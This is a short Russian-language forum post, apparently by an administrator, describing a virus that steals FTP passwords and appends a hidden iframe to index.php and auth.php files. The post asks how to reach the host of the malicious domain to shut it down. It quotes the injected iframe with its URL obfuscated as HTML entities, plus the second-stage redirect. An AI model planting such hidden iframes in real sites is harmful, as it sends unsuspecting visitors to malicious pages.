[Breathe]

Есть сайт alltraff.ru, который участвует в работе одного вируса. Суть вируса: распространяется по сети, тырит пароли от фтп, если находит на фтп index.php или auth.php, то добавляет в конец строку:
<iframe src='&#104&#116&#116&#112&#58&#47&#47&#97&#108&#108&#116&#114&#97&#102&#102&#46&#114&#117&#47&#105&#102&#114&#97&#109&#101&#46&#112&#104&#112' width='1' height='1' style='visibility: hidden;'></iframe>

В ней происходит запрос к файлу alltraff.ru/iframe.php, который возвращает:
<iframe src='http://google-counter.com/in.cgi?5' width='1' height='1' style='visibility: hidden;'></iframe>

ДНСники у сайта ns1.lexhost.info и ns2.lexhost.info, т.е. сервер чувак арендует. Как узнать кто ему доступ в инет предоставляет, чтобы обрубить нахрен всю эту потеху?